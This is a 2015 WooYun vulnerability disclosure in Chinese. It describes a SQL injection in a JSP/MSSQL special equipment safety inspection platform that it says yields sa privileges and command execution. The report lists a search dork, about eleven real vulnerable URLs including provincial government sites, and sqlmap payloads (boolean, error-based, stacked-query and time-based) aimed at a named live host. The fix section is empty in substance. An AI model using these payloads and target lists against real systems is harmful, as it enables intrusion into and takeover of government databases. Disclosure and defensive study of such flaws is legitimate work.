当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0101646

漏洞标题：特种设备安全检查平台sa权限SQL注入漏洞，涉及各大省市地区

相关厂商：CNCERT

漏洞作者： 路人甲

提交时间：2015-03-17 15:04

修复时间：2015-06-15 16:14

公开时间：2015-06-15 16:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-17： 细节已通知厂商并且等待厂商处理中
2015-03-17： 厂商已经确认，细节仅向厂商公开
2015-03-20： 细节向第三方安全合作伙伴开放
2015-05-11： 细节向核心白帽子及相关领域专家公开
2015-05-21： 细节向普通白帽子公开
2015-05-31： 细节向实习白帽子公开
2015-06-15： 细节向公众公开

简要描述：

特种设备安全检查平台sa权限SQL注入漏洞

详细说明：

统名称：特种设备安全检查平台
系统结构：JSP+MSSQL
关键字：
inurl:until/select_sbbh.jsp

12.png


漏洞文件：until/select_sb.jsp
注入参数：SYDWDQ_DM

漏洞证明：

部分案例如下：
http://122.227.22.214:90/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://www.fjase.com/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://59.56.172.51/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://58.213.147.216/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://www.hljts.gov.cn/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://tzsb.gxqts.gov.cn/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://www.hntsw.gov.cn/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://www.sxtsaj.com/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://111.75.211.4/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://www.jxtzsb.cn/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
http://app.xjzj.gov.cn:8080/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
等
漏洞验证：
以http://122.227.22.214:90/until/select_sbbh.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=aaaaa&SBZCBH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=为例：

Place: GET
Parameter: SYDWDQ_DM
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=%' AND
 3578=3578 AND '%'='&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=&SBZCBH=&zzdwm
c=&SBBH_1=&DWNBBH_1=&CCBH_1=
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=%' AND
 8904=CONVERT(INT,(CHAR(58) CHAR(103) CHAR(119) CHAR(108) CHAR(58) (SELECT (CASE
 WHEN (8904=8904) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(110) CHAR(98)
CHAR(97) CHAR(58))) AND '%'='&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=&SBZC
BH=&zzdwmc=&SBBH_1=&DWNBBH_1=&CCBH_1=
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=%'; WA
ITFOR DELAY '0:0:5'--&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=&SBZCBH=&zzdw
mc=&SBBH_1=&DWNBBH_1=&CCBH_1=
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: SUPFORM=&SUPID=&SUPMC=&SUPDM=&SUPFRSB=&SUPMCVALUE=&SYDWDQ_DM=%' WAI
TFOR DELAY '0:0:5'--&SBZL_DM=&select=&SEARCHTJ=start&SZDQ=&SYDWMC=&SBZCBH=&zzdwm
c=&SBBH_1=&DWNBBH_1=&CCBH_1=
---


1.png


数据库：

2.png


sa权限：

3.png


命令执行：

4.png

修复方案：

如上！

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-03-17 16:12

厂商回复：

CNVD确认所述情况，已经由CNVD通过网站公开联系方式（或以往建立的处置渠道）向网站管理单位（软件生产厂商）通报。

最新状态：

暂无